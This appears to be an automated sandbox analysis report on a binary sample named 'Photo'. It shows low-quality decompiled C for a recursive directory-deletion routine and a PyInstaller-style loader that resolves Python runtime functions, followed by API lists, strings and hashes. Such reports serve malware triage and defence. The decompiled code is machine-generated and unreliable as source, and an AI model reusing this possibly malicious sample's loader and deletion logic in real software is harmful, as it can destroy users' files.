				void* _t123;
				intOrPtr* _t126;
				void* _t135;
				intOrPtr* _t141;
				void* _t142;
				signed int _t146;
				signed int _t147;
				void* _t148;
				void* _t149;
				void* _t151;
				void* _t153;
				void* _t154;
				void* _t156;

				_t121 = __edx;
				_t147 = _t146 & 0xfffffff8;
				E001D7780();
				_t57 =  *0x1fc008; // 0x369f4a24
				_a21628 = _t57 ^ _t147;
				_push(_t100);
				_push(_t142);
				E001D4BC0(_t100,  &_a13424, _a4, 0x1000);
				_t148 = _t147 + 0xc;
				_t105 = 0;
				goto L1;
				do {
					L3:
					_t63 =  *_t101;
					_t101 = _t101 + 2;
				} while (_t63 != 0);
				_t103 = _t101 - _t106 >> 1;
				_t64 =  *(_t148 + 0x46e + _t103 * 2) & 0x0000ffff;
				if(_t64 == 0x2f || _t64 == 0x5c) {
					L9:
					_t126 =  &_a1120 + 0xfffffffe;
					do {
						_t65 =  *((intOrPtr*)(_t126 + 2));
						_t126 = _t126 + 2;
					} while (_t65 != 0);
					_t66 = "*"; // 0x2a
					 *_t126 = _t66;
					_push( &_v0);
					_t69 = E001DE6AF(_t103, _t121, _t126, _t142,  &_a1120); // executed
					_t149 = _t148 + 8;
					_v4 = _t69;
					if(_t69 == 0xffffffff) {
						L40:
						_t71 = E001DE39B( &_a13424); // executed
						E001D7760();
						return _t71;
					}
					_t151 = _t149 - 0x230;
					_t73 = memcpy(_t151,  &_v0, 0x8c << 2);
					_push(_t103);
					_push(_t73);
					E001D4540();
					_push( &_v0);
					_t76 = E001DE6BA(_t103, _t121,  &_v0, _v4); // executed
					_t153 = _t151 + 0x24c;
					if(_t76 != 0) {
						L39:
						E001DE689(_v4);
						_t149 = _t153 + 4;
						goto L40;
					}
					do {
						_t145 =  &_v0;
						memcpy( &_a560,  &_v0, 0x8c << 2);
						_t154 = _t153 + 0xc;
						_t113 = ".";
						_t79 =  &_a596;
						while(1) {
							_t122 =  *_t79;
							if(_t122 !=  *_t113) {
								break;
							}
							if(_t122 == 0) {
								L19:
								_t80 = 0;
								L21:
								if(_t80 == 0) {
									goto L38;
								}
								_t83 = L"..";
								_t114 =  &_a596;
								while(1) {
									_t122 =  *_t114;
									if(_t122 !=  *_t83) {
										break;
									}
									if(_t122 == 0) {
										L27:
										_t84 = 0;
										L29:
										if(_t84 == 0) {
											goto L38;
										}
										_t123 =  &_a596;
										 *((short*)(_t154 + 0x470 + _t103 * 2)) = 0;
										_t145 = _t123;
										do {
											_t86 =  *_t123;
											_t123 = _t123 + 2;
										} while (_t86 != 0);
										_t122 = _t123 - _t145;
										_t135 =  &_a1120 + 0xfffffffe;
										do {
											_t87 =  *(_t135 + 2);
											_t135 = _t135 + 2;
										} while (_t87 != 0);
										_t116 = _t122 >> 2;
										memcpy(_t135, _t145, _t116 << 2);
										_t90 = memcpy(_t145 + _t116 + _t116, _t145, _t122 & 0x00000003);
										_t156 = _t154 + 0x18;
										if((_v0 & 0x00000010) == 0) {
											_t91 = E001DF0D3(_t90); // executed
											_t154 = _t156 + 4;
											if(_t91 != 0) {
												Sleep(0x64);
												E001DF0D3( &_a1120);
												_t154 = _t154 + 4;
											}
										} else {
											E001D4C50(_t103,  &_a9320, _t90, 0x1000);
											_push( &_a9320); // executed
											E001D4060(_t122); // executed
											_t154 = _t156 + 0x10;
										}
										goto L38;
									}
									_t122 =  *((intOrPtr*)(_t114 + 2));
									_t36 = _t83 + 2; // 0x2e
									if(_t122 !=  *_t36) {
										break;
									}
									_t114 = _t114 + 4;
									_t83 = _t83 + 4;
									if(_t122 != 0) {
										continue;
									}
									goto L27;
								}
								asm("sbb eax, eax");
								_t84 = _t83 | 0x00000001;
								goto L29;
							}
							_t122 =  *((intOrPtr*)(_t79 + 2));
							_t33 =  &(_t113[2]); // 0x2e0000
							if(_t122 !=  *_t33) {
								break;
							}
							_t79 = _t79 + 4;
							_t113 =  &(_t113[4]);
							if(_t122 != 0) {
								continue;
							}
							goto L19;
						}
						asm("sbb eax, eax");
						_t80 = _t79 | 0x00000001;
						goto L21;
						L38:
						_push( &_v0);
						_t82 = E001DE6BA(_t103, _t122, _t145, _v4); // executed
						_t153 = _t154 + 8;
					} while (_t82 == 0);
					goto L39;
				} else {
					_t141 =  &_a1120 + 0xfffffffe;
					do {
						_t98 =  *((intOrPtr*)(_t141 + 2));
						_t141 = _t141 + 2;
					} while (_t98 != 0);
					_t99 = "\\"; // 0x5c
					_t103 = _t103 + 1;
					 *_t141 = _t99;
					goto L9;
				}
				L1:
				_t62 =  *(_t148 + _t105 + 0x3480) & 0x0000ffff;
				_t105 = _t105 + 2;
				 *(_t148 + _t105 + 0x46e) = _t62;
				if(_t62 != 0) {
					goto L1;
				} else {
					_t101 =  &_a1120;
					_t106 = _t101 + 2;
					goto L3;
				}
			}

0x001d4060
0x001d4063
0x001d406b
0x001d4070
0x001d4077
0x001d4081
0x001d4082
0x001d4092
0x001d4097
0x001d409a
0x001d409a
0x001d40c2
0x001d40c2
0x001d40c2
0x001d40c5
0x001d40c8
0x001d40cf
0x001d40d1
0x001d40dc
0x001d4104
0x001d410b
0x001d4110
0x001d4110
0x001d4114
0x001d4117
0x001d411c
0x001d4121
0x001d4127
0x001d4130
0x001d4135
0x001d4138
0x001d413f
0x001d42e7
0x001d42ef
0x001d4303
0x001d430b
0x001d430b
0x001d4145
0x001d4160
0x001d4162
0x001d4163
0x001d4164
0x001d4170
0x001d4178
0x001d417d
0x001d4185
0x001d42db
0x001d42df
0x001d42e4
0x00000000
0x001d42e4
0x001d4190
0x001d4195
0x001d41a0
0x001d41a0
0x001d41a2
0x001d41a7
0x001d41b0
0x001d41b0
0x001d41b6
0x00000000
0x00000000
0x001d41bb
0x001d41d2
0x001d41d2
0x001d41db
0x001d41dd
0x00000000
0x00000000
0x001d41e3
0x001d41e8
0x001d41f0
0x001d41f0
0x001d41f6
0x00000000
0x00000000
0x001d41fb
0x001d4212
0x001d4212
0x001d421b
0x001d421d
0x00000000
0x00000000
0x001d4225
0x001d422c
0x001d4234
0x001d4236
0x001d4236
0x001d4239
0x001d423c
0x001d4248
0x001d424a
0x001d4250
0x001d4250
0x001d4254
0x001d4257
0x001d4265
0x001d4268
0x001d4274
0x001d4274
0x001d4276
0x001d429e
0x001d42a3
0x001d42a8
0x001d42ac
0x001d42ba
0x001d42bf
0x001d42bf
0x001d4278
0x001d4286
0x001d4292
0x001d4293
0x001d4298
0x001d4298
0x00000000
0x001d4276
0x001d41fd
0x001d4201
0x001d4205
0x00000000
0x00000000
0x001d4207
0x001d420a
0x001d4210
0x00000000
0x00000000
0x00000000
0x001d4210
0x001d4216
0x001d4218
0x00000000
0x001d4218
0x001d41bd
0x001d41c1
0x001d41c5
0x00000000
0x00000000
0x001d41c7
0x001d41ca
0x001d41d0
0x00000000
0x00000000
0x00000000
0x001d41d0
0x001d41d6
0x001d41d8
0x00000000
0x001d42c2
0x001d42c6
0x001d42cb
0x001d42d0
0x001d42d3
0x00000000
0x001d40e3
0x001d40ea
0x001d40f0
0x001d40f0
0x001d40f4
0x001d40f7
0x001d40fc
0x001d4101
0x001d4102
0x00000000
0x001d4102
0x001d40a0
0x001d40a0
0x001d40a8
0x001d40ab
0x001d40b6
0x00000000
0x001d40b8
0x001d40b8
0x001d40bf
0x00000000
0x001d40bf

APIs

Part of subcall function 001D4BC0: MultiByteToWideChar.KERNEL32(0000FDE9,?,?,000000FF,?,?,?,?,001D4097,?,?,00001000), ref: 001D4BD8

Part of subcall function 001DF0D3: DeleteFileW.KERNELBASE(?,?,001D465C,?,?,?), ref: 001DF0DB
Part of subcall function 001DF0D3: GetLastError.KERNEL32(?,?), ref: 001DF0E5
Part of subcall function 001DF0D3: __dosmaperr.LIBCMT ref: 001DF0EC

Sleep.KERNEL32(00000064), ref: 001D42AC

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ByteCharDeleteErrorFileLastMultiSleepWide__dosmaperr
String ID:
API String ID: 762390858-0
Opcode ID: 9b525309d5afe71bdd05b706184ce325275e5534ce1367f1783d05adef2bfa27
Instruction ID: 0babc491c009f92e04b5472049c1e41d90d6cade3c230cfdc46fee3061b1db1f
Opcode Fuzzy Hash: 9b525309d5afe71bdd05b706184ce325275e5534ce1367f1783d05adef2bfa27
Instruction Fuzzy Hash: 206106755043028BCB30EB64DC456EB73A9FFA0348F480A2AF99987390FB31A945C752

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 001D2AF0 Relevance: 243.7, APIs: 46, Strings: 93, Instructions: 474
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E001D2AF0(void* __ebx, struct HINSTANCE__* _a4, intOrPtr _a8) {
				_Unknown_base(*)()* _t3;
				_Unknown_base(*)()* _t4;
				_Unknown_base(*)()* _t5;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t9;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				_Unknown_base(*)()* _t13;
				_Unknown_base(*)()* _t14;
				_Unknown_base(*)()* _t15;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t17;
				_Unknown_base(*)()* _t18;
				_Unknown_base(*)()* _t19;
				_Unknown_base(*)()* _t20;
				_Unknown_base(*)()* _t21;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t23;
				_Unknown_base(*)()* _t24;
				_Unknown_base(*)()* _t25;
				_Unknown_base(*)()* _t26;
				_Unknown_base(*)()* _t27;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t30;
				_Unknown_base(*)()* _t31;
				_Unknown_base(*)()* _t32;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t34;
				_Unknown_base(*)()* _t35;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t37;
				_Unknown_base(*)()* _t38;
				_Unknown_base(*)()* _t40;
				_Unknown_base(*)()* _t43;
				_Unknown_base(*)()* _t44;
				_Unknown_base(*)()* _t45;
				_Unknown_base(*)()* _t46;
				_Unknown_base(*)()* _t47;
				_Unknown_base(*)()* _t48;
				_Unknown_base(*)()* _t49;
				_Unknown_base(*)()* _t50;
				_Unknown_base(*)()* _t51;
				intOrPtr _t79;
				void* _t82;
				struct HINSTANCE__* _t84;

				_t84 = _a4;
				_t3 = GetProcAddress(_t84, "Py_DontWriteBytecodeFlag");
				 *0x1fc970 = _t3;
				if(_t3 != 0) {
					_t4 = GetProcAddress(_t84, "Py_FileSystemDefaultEncoding");
					 *0x1fc964 = _t4;
					if(_t4 != 0) {
						_t5 = GetProcAddress(_t84, "Py_FrozenFlag");
						 *0x1fc958 = _t5;
						if(_t5 != 0) {
							_t6 = GetProcAddress(_t84, "Py_IgnoreEnvironmentFlag");
							 *0x1fc96c = _t6;
							if(_t6 != 0) {
								_t7 = GetProcAddress(_t84, "Py_NoSiteFlag");
								 *0x1fc95c = _t7;
								if(_t7 != 0) {
									_t8 = GetProcAddress(_t84, "Py_NoUserSiteDirectory");
									 *0x1fc974 = _t8;
									if(_t8 != 0) {
										_t9 = GetProcAddress(_t84, "Py_OptimizeFlag");
										 *0x1fc960 = _t9;
										if(_t9 != 0) {
											_t10 = GetProcAddress(_t84, "Py_VerboseFlag");
											 *0x1fc968 = _t10;
											if(_t10 != 0) {
												_t11 = GetProcAddress(_t84, "Py_BuildValue");
												 *0x1fc9bc = _t11;
												if(_t11 != 0) {
													_t12 = GetProcAddress(_t84, "Py_DecRef");
													 *0x1fc984 = _t12;
													if(_t12 != 0) {
														_t13 = GetProcAddress(_t84, "Py_Finalize");
														 *0x1fc97c = _t13;
														if(_t13 != 0) {
															_t14 = GetProcAddress(_t84, "Py_IncRef");
															 *0x1fc980 = _t14;
															if(_t14 != 0) {
																_t15 = GetProcAddress(_t84, "Py_Initialize");
																 *0x1fc978 = _t15;
																if(_t15 != 0) {
																	_push(__ebx);
																	_t79 = _a8;
																	if(_t79 < 0x1e) {
																		L31:
																		_t16 = GetProcAddress(_t84, "Py_SetProgramName");
																		 *0x1fc988 = _t16;
																		if(_t16 != 0) {
																			_t17 = GetProcAddress(_t84, "Py_SetPythonHome");
																			 *0x1fc98c = _t17;
																			if(_t17 != 0) {
																				_t18 = GetProcAddress(_t84, "PyDict_GetItemString");
																				 *0x1fc9d0 = _t18;
																				if(_t18 != 0) {
																					_t19 = GetProcAddress(_t84, "PyErr_Clear");
																					 *0x1fc9d4 = _t19;
																					if(_t19 != 0) {
																						_t20 = GetProcAddress(_t84, "PyErr_Occurred");
																						 *0x1fc9d8 = _t20;
																						if(_t20 != 0) {
																							_t21 = GetProcAddress(_t84, "PyErr_Print");
																							 *0x1fc9dc = _t21;
																							if(_t21 != 0) {
																								_t22 = GetProcAddress(_t84, "PyImport_AddModule");
																								 *0x1fc9ac = _t22;
																								if(_t22 != 0) {
																									_t23 = GetProcAddress(_t84, "PyImport_ExecCodeModule");
																									 *0x1fc9a4 = _t23;
																									if(_t23 != 0) {
																										_t24 = GetProcAddress(_t84, "PyImport_ImportModule");
																										 *0x1fc9a8 = _t24;
																										if(_t24 != 0) {
																											_t25 = GetProcAddress(_t84, "PyList_Append");
																											 *0x1fc9b8 = _t25;
																											if(_t25 != 0) {
																												_t26 = GetProcAddress(_t84, "PyList_New");
																												 *0x1fc9b4 = _t26;
																												if(_t26 != 0) {
																													_t27 = GetProcAddress(_t84, "PyLong_AsLong");
																													 *0x1fc9e4 = _t27;
																													if(_t27 != 0) {
																														_t28 = GetProcAddress(_t84, "PyModule_GetDict");
																														 *0x1fc9cc = _t28;
																														if(_t28 != 0) {
																															_t29 = GetProcAddress(_t84, "PyObject_CallFunction");
																															 *0x1fc9c8 = _t29;
																															if(_t29 != 0) {
																																_t30 = GetProcAddress(_t84, "PyObject_SetAttrString");
																																 *0x1fc9b0 = _t30;
																																if(_t30 != 0) {
																																	_t31 = GetProcAddress(_t84, "PyRun_SimpleString");
																																	 *0x1fc9a0 = _t31;
																																	if(_t31 != 0) {
																																		if(_t79 >= 0x1e) {
																																			L68:
																																			_t32 = GetProcAddress(_t84, "PySys_AddWarnOption");
																																			 *0x1fc9e0 = _t32;
																																			if(_t32 != 0) {
																																				_t33 = GetProcAddress(_t84, "PySys_SetArgvEx");
																																				 *0x1fc99c = _t33;
																																				if(_t33 != 0) {
																																					_t34 = GetProcAddress(_t84, "PySys_GetObject");
																																					 *0x1fc9f0 = _t34;
																																					if(_t34 != 0) {
																																						_t35 = GetProcAddress(_t84, "PySys_SetObject");
																																						 *0x1fc9e8 = _t35;
																																						if(_t35 != 0) {
																																							_t36 = GetProcAddress(_t84, "PySys_SetPath");
																																							 *0x1fc998 = _t36;
																																							if(_t36 != 0) {
																																								_t37 = GetProcAddress(_t84, "PyEval_EvalCode");
																																								 *0x1fca04 = _t37;
																																								if(_t37 != 0) {
																																									_t38 = GetProcAddress(_t84, "PyMarshal_ReadObjectFromString");
																																									 *0x1fca08 = _t38;
																																									if(_t38 != 0) {
																																										if(_t79 < 0x1e) {
																																											L94:
																																											if(_t79 < 0x20) {
																																												L98:
																																												return 0;
																																											} else {
																																												_t40 = GetProcAddress(_t84, "PyUnicode_DecodeFSDefault");
																																												 *0x1fc9fc = _t40;
																																												if(_t40 != 0) {
																																													goto L98;
																																												} else {
																																													_push("Failed to get address for PyUnicode_DecodeFSDefault\n");
																																													goto L97;
																																												}
																																											}
																																										} else {
																																											_t43 = GetProcAddress(_t84, "PyUnicode_FromString");
																																											 *0x1fc9c4 = _t43;
																																											if(_t43 != 0) {
																																												if(_t79 < 0x23) {
																																													_t44 = GetProcAddress(_t84, "_Py_char2wchar");
																																													 *0x1fc9ec = _t44;
																																													if(_t44 != 0) {
																																														goto L90;
																																													} else {
																																														_push("Failed to get address for _Py_char2wchar\n");
																																														goto L97;
																																													}
																																												} else {
																																													_t47 = GetProcAddress(_t84, "Py_DecodeLocale");
																																													 *0x1fc9ec = _t47;
																																													if(_t47 != 0) {
																																														L90:
																																														_t45 = GetProcAddress(_t84, "PyUnicode_FromFormat");
																																														 *0x1fc9f8 = _t45;
																																														if(_t45 != 0) {
																																															_t46 = GetProcAddress(_t84, "PyUnicode_Decode");
																																															 *0x1fca00 = _t46;
																																															if(_t46 != 0) {
																																																goto L94;
																																															} else {
																																																_push("Failed to get address for PyUnicode_Decode\n");
																																																goto L97;
																																															}
																																														} else {
																																															_push("Failed to get address for PyUnicode_FromFormat\n");
																																															goto L97;
																																														}
																																													} else {
																																														_push("Failed to get address for Py_DecodeLocale\n");
																																														goto L97;
																																													}
																																												}
																																											} else {
																																												_push("Failed to get address for PyUnicode_FromString\n");
																																												goto L97;
																																											}
																																										}
																																									} else {
																																										_push("Failed to get address for PyMarshal_ReadObjectFromString\n");
																																										goto L97;
																																									}
																																								} else {
																																									_push("Failed to get address for PyEval_EvalCode\n");
																																									goto L97;
																																								}
																																							} else {
																																								_push("Failed to get address for PySys_SetPath\n");
																																								goto L97;
																																							}
																																						} else {
																																							_push("Failed to get address for PySys_SetObject\n");
																																							goto L97;
																																						}
																																					} else {
																																						_push("Failed to get address for PySys_GetObject\n");
																																						goto L97;
																																					}
																																				} else {
																																					_push("Failed to get address for PySys_SetArgvEx\n");
																																					goto L97;
																																				}
																																			} else {
																																				_push("Failed to get address for PySys_AddWarnOption\n");
																																				goto L97;
																																			}
																																		} else {
																																			_t48 = GetProcAddress(_t84, "PyString_FromString");
																																			 *0x1fc9c0 = _t48;
																																			if(_t48 != 0) {
																																				_t49 = GetProcAddress(_t84, "PyString_FromFormat");
																																				 *0x1fc9f4 = _t49;
																																				if(_t49 != 0) {
																																					goto L68;
																																				} else {
																																					_push("Failed to get address for PyString_FromFormat\n");
																																					goto L97;
																																				}
																																			} else {
																																				_push("Failed to get address for PyString_FromString\n");
																																				goto L97;
																																			}
																																		}
																																	} else {
																																		_push("Failed to get address for PyRun_SimpleString\n");
																																		goto L97;
																																	}
																																} else {
																																	_push("Failed to get address for PyObject_SetAttrString\n");
																																	goto L97;
																																}
																															} else {
																																_push("Failed to get address for PyObject_CallFunction\n");
																																goto L97;
																															}
																														} else {
																															_push("Failed to get address for PyModule_GetDict\n");
																															goto L97;
																														}
																													} else {
																														_push("Failed to get address for PyLong_AsLong\n");
																														goto L97;
																													}
																												} else {
																													_push("Failed to get address for PyList_New\n");
																													goto L97;
																												}
																											} else {
																												_push("Failed to get address for PyList_Append\n");
																												goto L97;
																											}
																										} else {
																											_push("Failed to get address for PyImport_ImportModule\n");
																											goto L97;
																										}
																									} else {
																										_push("Failed to get address for PyImport_ExecCodeModule\n");
																										goto L97;
																									}
																								} else {
																									_push("Failed to get address for PyImport_AddModule\n");
																									goto L97;
																								}
																							} else {
																								_push("Failed to get address for PyErr_Print\n");
																								goto L97;
																							}
																						} else {
																							_push("Failed to get address for PyErr_Occurred\n");
																							goto L97;
																						}
																					} else {
																						_push("Failed to get address for PyErr_Clear\n");
																						goto L97;
																					}
																				} else {
																					_push("Failed to get address for PyDict_GetItemString\n");
																					goto L97;
																				}
																			} else {
																				_push("Failed to get address for Py_SetPythonHome\n");
																				goto L97;
																			}
																		} else {
																			_push("Failed to get address for Py_SetProgramName\n");
																			goto L97;
																		}
																	} else {
																		_t50 = GetProcAddress(_t84, "Py_SetPath");
																		 *0x1fc990 = _t50;
																		if(_t50 != 0) {
																			_t51 = GetProcAddress(_t84, "Py_GetPath");
																			 *0x1fc994 = _t51;
																			if(_t51 != 0) {
																				goto L31;
																			} else {
																				_push("Failed to get address for Py_GetPath\n");
																				goto L97;
																			}
																		} else {
																			_push("Failed to get address for Py_SetPath\n");
																			L97:
																			_push("GetProcAddress");
																			return E001D1900(_t79, _t82) | 0xffffffff;
																		}
																	}
																} else {
																	_push("Failed to get address for Py_Initialize\n");
																	_push("GetProcAddress");
																	return E001D1900(__ebx, _t82) | 0xffffffff;
																}
															} else {
																_push("Failed to get address for Py_IncRef\n");
																_push("GetProcAddress");
																return E001D1900(__ebx, _t82) | 0xffffffff;
															}
														} else {
															_push("Failed to get address for Py_Finalize\n");
															_push("GetProcAddress");
															return E001D1900(__ebx, _t82) | 0xffffffff;
														}
													} else {
														_push("Failed to get address for Py_DecRef\n");
														_push("GetProcAddress");
														return E001D1900(__ebx, _t82) | 0xffffffff;
													}
												} else {
													_push("Failed to get address for Py_BuildValue\n");
													_push("GetProcAddress");
													return E001D1900(__ebx, _t82) | 0xffffffff;
												}
											} else {
												_push("Failed to get address for Py_VerboseFlag\n");
												_push("GetProcAddress");
												return E001D1900(__ebx, _t82) | 0xffffffff;
											}
										} else {
											_push("Failed to get address for Py_OptimizeFlag\n");
											_push("GetProcAddress");
											return E001D1900(__ebx, _t82) | 0xffffffff;
										}
									} else {
										_push("Failed to get address for Py_NoUserSiteDirectory\n");
										_push("GetProcAddress");
										return E001D1900(__ebx, _t82) | 0xffffffff;
									}
								} else {
									_push("Failed to get address for Py_NoSiteFlag\n");
									_push("GetProcAddress");
									return E001D1900(__ebx, _t82) | 0xffffffff;
								}
							} else {
								_push("Failed to get address for Py_IgnoreEnvironmentFlag\n");
								_push("GetProcAddress");
								return E001D1900(__ebx, _t82) | 0xffffffff;
							}
						} else {
							_push("Failed to get address for Py_FrozenFlag\n");
							_push("GetProcAddress");
							return E001D1900(__ebx, _t82) | 0xffffffff;
						}
					} else {
						_push("Failed to get address for Py_FileSystemDefaultEncoding\n");
						_push("GetProcAddress");
						return E001D1900(__ebx, _t82) | 0xffffffff;
					}
				} else {
					_push("Failed to get address for Py_DontWriteBytecodeFlag\n");
					_push("GetProcAddress");
					return E001D1900(__ebx, _t82) | 0xffffffff;
				}
			}

0x001d2af1
0x001d2b02
0x001d2b04
0x001d2b0b
0x001d2b2b
0x001d2b2d
0x001d2b34
0x001d2b54
0x001d2b56
0x001d2b5d
0x001d2b7d
0x001d2b7f
0x001d2b86
0x001d2ba6
0x001d2ba8
0x001d2baf
0x001d2bcf
0x001d2bd1
0x001d2bd8
0x001d2bf8
0x001d2bfa
0x001d2c01
0x001d2c21
0x001d2c23
0x001d2c2a
0x001d2c4a
0x001d2c4c
0x001d2c53
0x001d2c73
0x001d2c75
0x001d2c7c
0x001d2c9c
0x001d2c9e
0x001d2ca5
0x001d2cc5
0x001d2cc7
0x001d2cce
0x001d2cee
0x001d2cf0
0x001d2cf7
0x001d2d11
0x001d2d12
0x001d2d19
0x001d2d51
0x001d2d57
0x001d2d59
0x001d2d60
0x001d2d72
0x001d2d74
0x001d2d7b
0x001d2d8d
0x001d2d8f
0x001d2d96
0x001d2da8
0x001d2daa
0x001d2db1
0x001d2dc3
0x001d2dc5
0x001d2dcc
0x001d2dde
0x001d2de0
0x001d2de7
0x001d2df9
0x001d2dfb
0x001d2e02
0x001d2e14
0x001d2e16
0x001d2e1d
0x001d2e2f
0x001d2e31
0x001d2e38
0x001d2e4a
0x001d2e4c
0x001d2e53
0x001d2e65
0x001d2e67
0x001d2e6e
0x001d2e80
0x001d2e82
0x001d2e89
0x001d2e9b
0x001d2e9d
0x001d2ea4
0x001d2eb6
0x001d2eb8
0x001d2ebf
0x001d2ed1
0x001d2ed3
0x001d2eda
0x001d2eec
0x001d2eee
0x001d2ef5
0x001d2f04
0x001d2f3c
0x001d2f42
0x001d2f44
0x001d2f4b
0x001d2f5d
0x001d2f5f
0x001d2f66
0x001d2f78
0x001d2f7a
0x001d2f81
0x001d2f93
0x001d2f95
0x001d2f9c
0x001d2fae
0x001d2fb0
0x001d2fb7
0x001d2fc9
0x001d2fcb
0x001d2fd2
0x001d2fe4
0x001d2fe6
0x001d2fed
0x001d2ffc
0x001d3082
0x001d3085
0x001d30b1
0x001d30b6
0x001d3087
0x001d308d
0x001d308f
0x001d3096
0x00000000
0x001d3098
0x001d3098
0x00000000
0x001d3098
0x001d3096
0x001d3002
0x001d3008
0x001d300a
0x001d3011
0x001d3020
0x001d3040
0x001d3042
0x001d3049
0x00000000
0x001d304b
0x001d304b
0x00000000
0x001d304b
0x001d3022
0x001d3028
0x001d302a
0x001d3031
0x001d3052
0x001d3058
0x001d305a
0x001d3061
0x001d3070
0x001d3072
0x001d3079
0x00000000
0x001d307b
0x001d307b
0x00000000
0x001d307b
0x001d3063
0x001d3063
0x00000000
0x001d3063
0x001d3033
0x001d3033
0x00000000
0x001d3033
0x001d3031
0x001d3013
0x001d3013
0x00000000
0x001d3013
0x001d3011
0x001d2fef
0x001d2fef
0x00000000
0x001d2fef
0x001d2fd4
0x001d2fd4
0x00000000
0x001d2fd4
0x001d2fb9
0x001d2fb9
0x00000000
0x001d2fb9
0x001d2f9e
0x001d2f9e
0x00000000
0x001d2f9e
0x001d2f83
0x001d2f83
0x00000000
0x001d2f83
0x001d2f68
0x001d2f68
0x00000000
0x001d2f68
0x001d2f4d
0x001d2f4d
0x00000000
0x001d2f4d
0x001d2f06
0x001d2f0c
0x001d2f0e
0x001d2f15
0x001d2f27
0x001d2f29
0x001d2f30
0x00000000
0x001d2f32
0x001d2f32
0x00000000
0x001d2f32
0x001d2f17
0x001d2f17
0x00000000
0x001d2f17
0x001d2f15
0x001d2ef7
0x001d2ef7
0x00000000
0x001d2ef7
0x001d2edc
0x001d2edc
0x00000000
0x001d2edc
0x001d2ec1
0x001d2ec1
0x00000000
0x001d2ec1
0x001d2ea6
0x001d2ea6
0x00000000
0x001d2ea6
0x001d2e8b
0x001d2e8b
0x00000000
0x001d2e8b
0x001d2e70
0x001d2e70
0x00000000
0x001d2e70
0x001d2e55
0x001d2e55
0x00000000
0x001d2e55
0x001d2e3a
0x001d2e3a
0x00000000
0x001d2e3a
0x001d2e1f
0x001d2e1f
0x00000000
0x001d2e1f
0x001d2e04
0x001d2e04
0x00000000
0x001d2e04
0x001d2de9
0x001d2de9
0x00000000
0x001d2de9
0x001d2dce
0x001d2dce
0x00000000
0x001d2dce
0x001d2db3
0x001d2db3
0x00000000
0x001d2db3
0x001d2d98
0x001d2d98
0x00000000
0x001d2d98
0x001d2d7d
0x001d2d7d
0x00000000
0x001d2d7d
0x001d2d62
0x001d2d62
0x00000000
0x001d2d62
0x001d2d1b
0x001d2d21
0x001d2d23
0x001d2d2a
0x001d2d3c
0x001d2d3e
0x001d2d45
0x00000000
0x001d2d47
0x001d2d47
0x00000000
0x001d2d47
0x001d2d2c
0x001d2d2c
0x001d309d
0x001d309d
0x001d30b0
0x001d30b0
0x001d2d2a
0x001d2cf9
0x001d2cf9
0x001d2cfe
0x001d2d10
0x001d2d10
0x001d2cd0
0x001d2cd0
0x001d2cd5
0x001d2ce7
0x001d2ce7
0x001d2ca7
0x001d2ca7
0x001d2cac
0x001d2cbe
0x001d2cbe
0x001d2c7e
0x001d2c7e
0x001d2c83
0x001d2c95
0x001d2c95
0x001d2c55
0x001d2c55
0x001d2c5a
0x001d2c6c
0x001d2c6c
0x001d2c2c
0x001d2c2c
0x001d2c31
0x001d2c43
0x001d2c43
0x001d2c03
0x001d2c03
0x001d2c08
0x001d2c1a
0x001d2c1a
0x001d2bda
0x001d2bda
0x001d2bdf
0x001d2bf1
0x001d2bf1
0x001d2bb1
0x001d2bb1
0x001d2bb6
0x001d2bc8
0x001d2bc8
0x001d2b88
0x001d2b88
0x001d2b8d
0x001d2b9f
0x001d2b9f
0x001d2b5f
0x001d2b5f
0x001d2b64
0x001d2b76
0x001d2b76
0x001d2b36
0x001d2b36
0x001d2b3b
0x001d2b4d
0x001d2b4d
0x001d2b0d
0x001d2b0d
0x001d2b12
0x001d2b24
0x001d2b24

APIs

GetProcAddress.KERNEL32(001D34E8,Py_DontWriteBytecodeFlag), ref: 001D2B02
GetProcAddress.KERNEL32(001D34E8,Py_FileSystemDefaultEncoding), ref: 001D2B2B

Part of subcall function 001D1900: GetLastError.KERNEL32(?,?), ref: 001D191E

Strings

Py_GetPath, xrefs: 001D2D36
PyObject_SetAttrString, xrefs: 001D2ECB
Failed to get address for PyList_New, xrefs: 001D2E70
Py_FileSystemDefaultEncoding, xrefs: 001D2B25
Failed to get address for Py_FrozenFlag, xrefs: 001D2B5F
Failed to get address for Py_SetPythonHome, xrefs: 001D2D7D
Py_FrozenFlag, xrefs: 001D2B4E
Failed to get address for Py_NoUserSiteDirectory, xrefs: 001D2BDA
Py_IgnoreEnvironmentFlag, xrefs: 001D2B77
Failed to get address for PyObject_CallFunction, xrefs: 001D2EC1
Py_SetPythonHome, xrefs: 001D2D6C
Failed to get address for Py_NoSiteFlag, xrefs: 001D2BB1
Py_OptimizeFlag, xrefs: 001D2BF2
PyString_FromFormat, xrefs: 001D2F21
Failed to get address for PyList_Append, xrefs: 001D2E55
Failed to get address for PySys_SetPath, xrefs: 001D2FB9
PyLong_AsLong, xrefs: 001D2E7A
Py_IncRef, xrefs: 001D2CBF
PySys_SetPath, xrefs: 001D2FA8
PyUnicode_DecodeFSDefault, xrefs: 001D3087
Failed to get address for PyUnicode_DecodeFSDefault, xrefs: 001D3098
Py_SetPath, xrefs: 001D2D1B
Py_NoSiteFlag, xrefs: 001D2BA0
